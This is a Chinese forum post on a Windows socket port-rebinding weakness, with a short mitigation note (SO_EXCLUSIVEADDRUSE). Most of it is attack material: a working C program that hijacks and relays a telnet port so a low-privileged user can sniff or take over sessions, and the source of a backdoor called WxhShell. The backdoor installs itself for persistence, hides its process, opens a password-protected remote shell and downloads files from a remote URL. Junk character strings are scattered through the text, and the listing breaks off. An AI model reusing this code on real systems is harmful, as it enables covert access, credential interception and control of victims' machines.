社区应用 最新帖子 精华区 社区服务 会员列表 统计排行 社区论坛任务 迷你宠物
  • 17986阅读
  • 1回复

[讨论]用端口截听实现隐藏嗅探与攻击

级别: 终身会员
发帖
3743
铜板
8
人品值
493
贡献值
9
交易币
0
好评度
3746
信誉值
0
金币
0
所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: =bv8W < #  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); yFJ(b%7  
:*c@6;2@  
  saddr.sin_family = AF_INET; \O7,CxD2  
2(`2f  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); @J" }~Y  
UxzwgVT  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); ]e?*7T]  
r OB\u|Pg  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 nV']^3b  
a[9;Okm #  
  这意味着什么?意味着可以进行如下的攻击: Wuc,Cjm9(!  
]*zF#Voc  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 7M*+!al9  
YWq[)F@0G  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) `4;<\VYCr  
O]{H2&k@  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 X8;03EW;  
unD8h=Z2  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  wJ IJPYTK  
*jA%.F  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 X4%*&L  
;y5cs;s  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 =WDf [?ED  
\dufKeiS&a  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 8|7Tk[X1j  
cpE&Fba}"  
  #include wQ [2yq  
  #include !lu$WJ{M  
  #include kN>d5q9b%X  
  #include    7Jc=`Zm'  
  DWORD WINAPI ClientThread(LPVOID lpParam);   g3x192f  
  int main() RJtSHiM2  
  { DC/CUKE.d  
  WORD wVersionRequested; \DGm[/P  
  DWORD ret; vv%Di.V  
  WSADATA wsaData; deu+ i  
  BOOL val; ~{d94o.  
  SOCKADDR_IN saddr; o_\b{<^I  
  SOCKADDR_IN scaddr; 6[qRb+ds  
  int err; N?87Bd  
  SOCKET s; df8rf8B-  
  SOCKET sc; @ZX{q~g!  
  int caddsize; VK`b'U &l"  
  HANDLE mt; v8pUt\m"  
  DWORD tid;   jl:O~UL6i  
  wVersionRequested = MAKEWORD( 2, 2 ); aty K^*aX  
  err = WSAStartup( wVersionRequested, &wsaData ); 'u696ED4  
  if ( err != 0 ) { 1/1P;8F@G  
  printf("error!WSAStartup failed!\n"); -,4_ &V  
  return -1; *r9I 1W  
  } 7c;59$2(  
  saddr.sin_family = AF_INET; ;\#u19  
   QMfYM~o  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 162qxR[.  
{nHy!{+qqG  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); );Gt!]p`;  
  saddr.sin_port = htons(23); }^LcKV  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) wlKL|N  
  { .!9]I'9M  
  printf("error!socket failed!\n"); 2'pxA:  
  return -1; 0s<o5`v  
  } RKBjrSZg8  
  val = TRUE; 8E0Rg/DnT  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 KE5f`h  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) u $sX6  
  { sDbALAp +  
  printf("error!setsockopt failed!\n"); _0vXujz  
  return -1; @H{$,\\  
  } _n{N3da  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; j83p[qR7o  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 '`3-X];p  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 Ogjjjy84vM  
&"^A  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) )Ba^Igb}  
  { /!%P7F  
  ret=GetLastError(); {[Yv@CpN  
  printf("error!bind failed!\n"); yY&(?6\{<<  
  return -1; qt;6CzL C  
  } H_*]Vg  
  listen(s,2); f-{[ushj  
  while(1) IndNR:"g  
  { Rj E,Wn  
  caddsize = sizeof(scaddr); =#+Z KD  
  //接受连接请求 1eb1Lvn  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); =,0E3:X^  
  if(sc!=INVALID_SOCKET) 5<#H=A~(  
  { !J:DBtGT  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); OEAF.  
  if(mt==NULL) 0p[$8SCJ  
  { I1}{7-_t  
  printf("Thread Creat Failed!\n"); %@BQv 4oJ  
  break; ]AHi$Xx  
  } Bj]0Cz  
  } ~ Q]B}qdm  
  CloseHandle(mt); -rH3rKtf~  
  } p>!r[v'  
  closesocket(s); 1":{$A?OB  
  WSACleanup(); aa".d[*1  
  return 0; mIr{Wocx  
  }   2r* o  
  DWORD WINAPI ClientThread(LPVOID lpParam) -Xd/-,zPY  
  { WVo%'DtF`  
  SOCKET ss = (SOCKET)lpParam; ZE=~ re  
  SOCKET sc; ipbVQ7  
  unsigned char buf[4096]; 2"i<--Y  
  SOCKADDR_IN saddr; nFB;!r  
  long num; fqZ!Bi  
  DWORD val; ?Z14l0iZ%d  
  DWORD ret; ' !_44  
  //如果是隐藏端口应用的话,可以在此处加一些判断 U}qW9X;o  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   M_XZOlW5  
  saddr.sin_family = AF_INET; !-;Me&"I=`  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); h.7 1O"N  
  saddr.sin_port = htons(23); MA1,;pv6  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 8a05`ZdP  
  { \<PX'mnO  
  printf("error!socket failed!\n"); @D60  
  return -1; :))AZ7_  
  } 3PJ  
  val = 100; _5X}&>>lhF  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) H$[--_dI{  
  { WrD20Q$9Q  
  ret = GetLastError(); {)%B?75~  
  return -1; goHr# @  
  } IXg${I}_Q  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 0[hl&7 Ab@  
  { S`*al<m  
  ret = GetLastError(); 'Lm.`U  
  return -1; mS );bs  
  } hyTi':  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) UPgZj\t%{  
  { G A7  
  printf("error!socket connect failed!\n"); ~XZ1,2jA/  
  closesocket(sc); B\("08x  
  closesocket(ss); +HfjnEbtBs  
  return -1; aG" UV\  
  } \ _i`=dx  
  while(1) (JM4W "7'  
  { i;\i4MT  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 Z,d/FC#y(  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 @*c+`5)_  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 Lv_6Mf(  
  num = recv(ss,buf,4096,0); 8XY4  
  if(num>0) !IGVN:E  
  send(sc,buf,num,0); (Bmjz*%M  
  else if(num==0) {`3;Pd`  
  break; De^is^{  
  num = recv(sc,buf,4096,0); #~#_) \l'F  
  if(num>0) Cw+ (,1  
  send(ss,buf,num,0); 4 bJ3uIP#  
  else if(num==0) $h$+EE!  
  break; (te \!$  
  } nrf%/L  
  closesocket(ss); =LT({8  
  closesocket(sc); xw=B4u'z  
  return 0 ; A2+t`[ w  
  } 6}|vfw  
jV7q)\uu^  
^QnVYTM  
========================================================== +0=RC^   
F.\]Hqq  
下边附上一个代码,,WXhSHELL ++kiCoC  
,)QmQ ^/  
========================================================== r1=Zoxc=w  
;=n7 Z  
#include "stdafx.h" JEP"2MN,  
fNK~z*  
#include <stdio.h> Tok"-$`N  
#include <string.h> 2`Pk@,:_  
#include <windows.h> Lc.7:r  
#include <winsock2.h> ~ h:^Q  
#include <winsvc.h> /g8yc'{p  
#include <urlmon.h> fx}R7GN2  
=_wgKXBFa  
#pragma comment (lib, "Ws2_32.lib") ioviJ7N% O  
#pragma comment (lib, "urlmon.lib") yV]-![`D  
2.NzB7c*CM  
#define MAX_USER   100 // 最大客户端连接数 r@!~l1$s`  
#define BUF_SOCK   200 // sock buffer a v`eA`)S  
#define KEY_BUFF   255 // 输入 buffer %r>vZ/>a  
Onc!5L  
#define REBOOT     0   // 重启 cX&c%~  
#define SHUTDOWN   1   // 关机 Ti'O 2k  
od|pI5St  
#define DEF_PORT   5000 // 监听端口 *%fOE;-?  
]>AW  
#define REG_LEN     16   // 注册表键长度 \u)(+t{  
#define SVC_LEN     80   // NT服务名长度 #A))#sT'R  
 t]vz+VQ  
// 从dll定义API o?X\,}-s  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); :4Y|%7[  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ktS0  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); {-E{.7  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); My[L3KTTp  
J]~3{Mi  
// wxhshell配置信息 eR}d"F4W  
struct WSCFG { k\%{1oRA  
  int ws_port;         // 监听端口 3oIoQj+D  
  char ws_passstr[REG_LEN]; // 口令 c '(]n]a%  
  int ws_autoins;       // 安装标记, 1=yes 0=no D!-zQ`^  
  char ws_regname[REG_LEN]; // 注册表键名 W35nnBU  
  char ws_svcname[REG_LEN]; // 服务名 V}J W@  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 hyBSS,I  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 :*8@Mj Z4  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 1X{A}9nA  
int ws_downexe;       // 下载执行标记, 1=yes 0=no NH?s  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" BHU[Rz7x  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 `"bm Hs7  
zJV4)  
}; +&t{IP(?  
MKH7d/x  
// default Wxhshell configuration }tJ:-!*2  
struct WSCFG wscfg={DEF_PORT, "w A8J%:  
    "xuhuanlingzhe", 2.x3^/  
    1, 7_{x '#7  
    "Wxhshell", /TB_4{  
    "Wxhshell", 9!R!H&  
            "WxhShell Service", 57oY]NT?  
    "Wrsky Windows CmdShell Service", a$KM q>  
    "Please Input Your Password: ", 0J_x*k6  
  1, VVf~ULZ-  
  "http://www.wrsky.com/wxhshell.exe", g$:2c7uL  
  "Wxhshell.exe" \q,w)BE  
    }; `S.;&%B\  
qS7*.E~j|]  
// 消息定义模块 A]n !d}?  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; #{]=>n)j  
char *msg_ws_prompt="\n\r? for help\n\r#>"; Vxw?"mhP  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; *Lufz-[1  
char *msg_ws_ext="\n\rExit."; 7IvCMb&%R  
char *msg_ws_end="\n\rQuit."; 6qw_|A&g  
char *msg_ws_boot="\n\rReboot..."; [Y:HVr,  
char *msg_ws_poff="\n\rShutdown..."; - -]\z*x  
char *msg_ws_down="\n\rSave to "; ~#-`Qh  
"zv+|_ZAfd  
char *msg_ws_err="\n\rErr!"; $]hf2Yr(  
char *msg_ws_ok="\n\rOK!"; ))MP]j9 T  
BY 1~\M  
char ExeFile[MAX_PATH]; S#""((U$  
int nUser = 0; CsE|pXVG  
HANDLE handles[MAX_USER]; HPgMVp'  
int OsIsNt; WUxr@0  
-7yX>Hjl  
SERVICE_STATUS       serviceStatus; :<jf}[w!  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; J6Kf z~%  
D@3|nS  
// 函数声明 1.>` h:  
int Install(void); P]y5E9 k  
int Uninstall(void); V*/))n?  
int DownloadFile(char *sURL, SOCKET wsh); k%LE"Q  
int Boot(int flag); mhs%b4'>  
void HideProc(void); ,CvU#ab8$  
int GetOsVer(void); - Zw"o>  
int Wxhshell(SOCKET wsl); N[mOJa:  
void TalkWithClient(void *cs); Ea3tF0{  
int CmdShell(SOCKET sock); G{s ,Y^  
int StartFromService(void); $4?%Z>'  
int StartWxhshell(LPSTR lpCmdLine); k20H|@g2  
8G@FX $$Q  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); [6D>2b}:{[  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); t?{ B*  
1E-$f  
// 数据结构和表定义 q!7\`>.2:{  
SERVICE_TABLE_ENTRY DispatchTable[] = ?/u&U\P  
{ x r=f9?%R  
{wscfg.ws_svcname, NTServiceMain}, ;3-ssF}k*  
{NULL, NULL} ]>:>":<:  
}; f8n'9HOw>  
O}%=c\Pb  
// 自我安装 Isi ,Tl ^  
int Install(void) Z-~^)lo  
{ kP|!!N  
  char svExeFile[MAX_PATH]; L Y M`  
  HKEY key; U%#=d@?  
  strcpy(svExeFile,ExeFile); .3Ap+V8?  
kBT cN D|  
// 如果是win9x系统,修改注册表设为自启动 j9qN!.~mM  
if(!OsIsNt) { :_^YEm+A  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 9 V;m;sz  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ,iHt*SZ,*  
  RegCloseKey(key); >B9rr0d0  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { XrvrN^'  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); LD5'4,%-  
  RegCloseKey(key); xNONf4I:6J  
  return 0; 4C2 D wj  
    } WH/a#F  
  } ?^7~|?v  
} D~ {)\;w^!  
else { BE U[M  
1"k +K~:  
// 如果是NT以上系统,安装为系统服务 0r@rXwz  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); UC0 yrV  
if (schSCManager!=0) #2dmki"~(  
{ G'bp  
  SC_HANDLE schService = CreateService 4gZN~_AI<  
  ( DQRt\!  
  schSCManager, ' ZB%McS  
  wscfg.ws_svcname, f]hW>-B(q  
  wscfg.ws_svcdisp, <9Chkb|B  
  SERVICE_ALL_ACCESS,  Ne4A  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ^.4<#Qs  
  SERVICE_AUTO_START, :')<|(Zy  
  SERVICE_ERROR_NORMAL, D?E5p.!A  
  svExeFile, Wl,yznT  
  NULL, Xu T|vh  
  NULL, a( qw  
  NULL, G%P]qi  
  NULL,  'dg OE  
  NULL 6-^+btl)#  
  );  "3v%|  
  if (schService!=0) d,>l;l  
  { /q^( uWu  
  CloseServiceHandle(schService); E6US  
  CloseServiceHandle(schSCManager); 9DT}sCLz:B  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); d EXw=u  
  strcat(svExeFile,wscfg.ws_svcname); zL{KK9Or  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { z C``G<TB  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ?LW1D+  
  RegCloseKey(key); 1k7E[G~G|  
  return 0; F8k1fmM]Y  
    } "47nc1T+n  
  } 8=?I/9Xh  
  CloseServiceHandle(schSCManager); -8TLnl~[  
} Di L@NU!$q  
} Z<wg`  
n b{8zo  
return 1; M5q7` }>G  
} #(A>yW702  
vz _U  
// 自我卸载 uo%zfi?  
int Uninstall(void) 9:m+mpL=9  
{ 6tJM*{$$H  
  HKEY key; 0lEIj/u  
3j3AI 7c  
if(!OsIsNt) { 9K&b1O@Aj  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { UR\*KR;yM  
  RegDeleteValue(key,wscfg.ws_regname); j jwY{jV  
  RegCloseKey(key); fu|I(^NV  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 5H5< ft,  
  RegDeleteValue(key,wscfg.ws_regname); dW=]|t&  
  RegCloseKey(key); %>s y`c  
  return 0; ]02V,'x  
  } ._nhW*  
} }X`K3sk2/z  
} .$r(":A#)  
else { F!Uk`[L  
* 5j iC  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); [[)HPHSQ  
if (schSCManager!=0) 2qEy"DKu  
{  mbd@4u  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); lKa}Bcd  
  if (schService!=0) *AJW8tIP  
  { Y/4B*>kl  
  if(DeleteService(schService)!=0) { yNqrL?i  
  CloseServiceHandle(schService); dtnAMa5$T  
  CloseServiceHandle(schSCManager); @-W)(9kZ|  
  return 0; Hu;#uAnxQ  
  } a([cuh.  
  CloseServiceHandle(schService); ruA!+@or  
  } S4\T (  
  CloseServiceHandle(schSCManager); {>~|xW  
} x;C\G`9N  
} ge E7<"m%  
'91Ak,cWB  
return 1; !]"T`^5,Y  
} _[.`QW~  
eQNYfWR  
// 从指定url下载文件 }6o` in>M  
int DownloadFile(char *sURL, SOCKET wsh) %II |;<  
{ =T+<>/[  
  HRESULT hr; jbG #__#_  
char seps[]= "/"; ~< k'{  
char *token; 8J>s|MZ  
char *file; .<tb*6rX>  
char myURL[MAX_PATH]; PB`94W  
char myFILE[MAX_PATH]; )Z]8SED  
9 Z4H5!:(  
strcpy(myURL,sURL); T%:}/@  
  token=strtok(myURL,seps); YUc&X^O  
  while(token!=NULL) qEywExdiu  
  { J0{0B=d;  
    file=token; Er%nSH^"  
  token=strtok(NULL,seps); e\)PGjSI  
  } tW 9vo-{+  
/Jo*O=Lpo  
GetCurrentDirectory(MAX_PATH,myFILE); k6$.pCH6  
strcat(myFILE, "\\"); ;ASlsUE\)  
strcat(myFILE, file); uRp-yu[nt%  
  send(wsh,myFILE,strlen(myFILE),0); 7H=/FT?e]  
send(wsh,"...",3,0); z;Kyg}  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); uv Z!3UH.  
  if(hr==S_OK) QupCr/Hs  
return 0; eO*FoN  
else cm-! 6'`  
return 1; 9V\5`QXu  
&6!x;RB  
} _TkiI.'  
8?ZK^+]y  
// 系统电源模块 xC{W_a(  
int Boot(int flag) >8QLo8)3C  
{ t.3b\RV[  
  HANDLE hToken; k|&@xEbS  
  TOKEN_PRIVILEGES tkp; MvQ0"-ZQ  
tLLP2^_&  
  if(OsIsNt) { pWeKN`  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); _O)~<Sk-*z  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); QKe=/;  
    tkp.PrivilegeCount = 1; hX<0{pXM4  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; zs WYV n]  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); f BukrPsV  
if(flag==REBOOT) { C?X^h{T p  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) xMU4Av[{  
  return 0; =r#of|`Q  
} \y{C>! WX4  
else { @/7tN3O  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) eR =P  
  return 0; Hh,q)(Wo  
} /wKL"M-%  
  } lor jMS  
  else { YiB^m   
if(flag==REBOOT) { 6> X7JMRY  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) w8c71C  
  return 0; %r?Y!=0  
} 7]62=p2R  
else { ]w"r4HlCx  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) [Jwo,?w  
  return 0; gm(`SC?a  
} P @G2F:}  
} $O?&!8);,  
3D(/k%;)  
return 1; R8sj>.I9j  
} 0M>+.}e+  
4uwI=UUB  
// win9x进程隐藏模块 DFcgUEq  
void HideProc(void) EH=[!iW;  
{ B!4chxzUZ  
u%}zLwMH  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); RNiFLD%5  
  if ( hKernel != NULL ) wa5wkuS)ld  
  { }CIH1q3P  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); WRe9ki=R  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); % tTL  
    FreeLibrary(hKernel); Y({&} \o  
  } xk7 MMRb  
iz.J._&  
return; ;=fOyg  
} I<Wp,E9G#  
&s-iie$"@x  
// 获取操作系统版本 !:]CKbG  
int GetOsVer(void) &@<Z7))  
{ GHWi,' mr  
  OSVERSIONINFO winfo; ~=67#&(R  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); bnIl@0Y  
  GetVersionEx(&winfo); &e0BL z  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) m&a.i B  
  return 1; x-1RmL_%  
  else  qr~P$  
  return 0; Jz<-B  
} 98'/yZ  
g 0O~5.f  
// 客户端句柄模块 F>RL&i  
int Wxhshell(SOCKET wsl) piULIZ0  
{ n@[_lNa4GD  
  SOCKET wsh; Se{x-vn?p  
  struct sockaddr_in client; z@Pv~"  
  DWORD myID; l|R BO+}  
KPHtD4  
  while(nUser<MAX_USER) K2|2Ks_CS  
{ |Tv}leJF  
  int nSize=sizeof(client); Xt} 4B#  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); H{hd1  
  if(wsh==INVALID_SOCKET) return 1; $lVR6|n  
W T~UEK'  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 79`OB##  
if(handles[nUser]==0) 1 etl:gcEC  
  closesocket(wsh); +-2o b90_m  
else : 8h\x  
  nUser++; B8.a#@R  
  } &YpViC4K.  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); &rs   
{G.W?  
  return 0; *@)0TL( 03  
} 08czP-)OZ  
BA(erf>  
// 关闭 socket GBeWF-`B  
void CloseIt(SOCKET wsh) *uW l 804  
{ 7qsu0 .[d  
closesocket(wsh); 2~`vV'K  
nUser--; w.X MyHj  
ExitThread(0); (w[#h9j  
} Aqy y\G;  
yzyBr1s  
// 客户端请求句柄 RD6n1Wb(@  
void TalkWithClient(void *cs) Cfs2tN  
{ vG'6?%38  
 3-~*  
  SOCKET wsh=(SOCKET)cs; nwS @r  
  char pwd[SVC_LEN]; u1 Z;n  
  char cmd[KEY_BUFF]; kx{LY`pY  
char chr[1]; 9[2qgw\D  
int i,j; (;!92ct[?  
{'#1do}{  
  while (nUser < MAX_USER) { I-Q@v`  
wE3L,yx=  
if(wscfg.ws_passstr) { WwUhwY1o!L  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); P aD6||1F  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); (fA>@5n  
  //ZeroMemory(pwd,KEY_BUFF); /aTW X  
      i=0; {{6D4M|s  
  while(i<SVC_LEN) { Kd r7 V  
;O`ZVB  
  // 设置超时 MpK3+4UMa  
  fd_set FdRead; ES}V\k*}  
  struct timeval TimeOut; 2]of 4  
  FD_ZERO(&FdRead); t| PQ4g<  
  FD_SET(wsh,&FdRead); ~7=eHU.@  
  TimeOut.tv_sec=8; yE&WGpT  
  TimeOut.tv_usec=0; -.@dA'j[  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); B%7Az!GX  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); / f5q9sp8  
Iip%er%b  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); =cR"_Z[8X  
  pwd=chr[0]; &x9>8~   
  if(chr[0]==0xd || chr[0]==0xa) { HVdy!J  
  pwd=0; \E(^<Af  
  break; ~U r  
  } X;bHlA-g  
  i++; y'5`Uo?\",  
    } oyT`AYa  
dy>5LzqK3  
  // 如果是非法用户,关闭 socket &t~NR$@  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); S;0z%$y  
} n1U!od  
\wV^uS   
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); O=[Q >\p  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); N_^PoX935O  
["fUSQ  
while(1) { tVv/G ~(  
))%f"=:wt  
  ZeroMemory(cmd,KEY_BUFF); U)[LKO1  
C: AD ZJL  
      // 自动支持客户端 telnet标准   -aq3Lqi  
  j=0; i/ .#`  
  while(j<KEY_BUFF) { =,b6yV+$D  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); .C\2f+(U  
  cmd[j]=chr[0]; )IVk4|  
  if(chr[0]==0xa || chr[0]==0xd) { %9 3R/bx  
  cmd[j]=0; ^Gi7th,  
  break; b>-h4{B[  
  } iE EP~  
  j++; t`1M}}.  
    } #iKPp0`K*  
ExhK\J  
  // 下载文件 g`z;:ao  
  if(strstr(cmd,"http://")) { E~@&&d U8  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 2qdc$I&$  
  if(DownloadFile(cmd,wsh)) sYhHh$mwA  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); GbC@ |  
  else BG6.,'~7o  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); -5oYGLS$y3  
  } c,^W/:CQAB  
  else { fig~z=m  
(mr*Thy`@  
    switch(cmd[0]) { kQ]4Bo  
  |:.s6a#(  
  // 帮助 6B|OKwL  
  case '?': { !gJTKQX4  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); K?nQsT;3p  
    break; @d5$OpL$%  
  } znB+RiV8  
  // 安装 ?)ct@,Ek$  
  case 'i': { .i {yW  
    if(Install()) 2TG2<wqvE  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 1M.#7;#B3  
    else 25f[s.pv8  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); L@'2}7N1%  
    break; $Zr \$z2  
    } &pQ[(|=(  
  // 卸载 h3bQ<?m  
  case 'r': { 7H*,HZc@=  
    if(Uninstall()) Q;N)$Xx  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); : t9sAD  
    else o|u4C{j  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); G1-r$7\  
    break; IL:[0q  
    } Oq$-*N  
  // 显示 wxhshell 所在路径 6 .9C 4  
  case 'p': { d~MY z6"  
    char svExeFile[MAX_PATH]; |"PS e~ u  
    strcpy(svExeFile,"\n\r"); GSs?!BIC  
      strcat(svExeFile,ExeFile); V?Q45t Ae  
        send(wsh,svExeFile,strlen(svExeFile),0); k`o8(zPb  
    break; (t){o> l  
    } # > I_  
  // 重启 :@@`N_2?  
  case 'b': { =jKu=!QPq  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 15VvZ![$V  
    if(Boot(REBOOT)) _u""v   
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ,na}' A@a`  
    else { yN)(MmX'1  
    closesocket(wsh); )3A+Ell`  
    ExitThread(0); eIy:5/s  
    } fs yVu|G  
    break; w_V A:]j4  
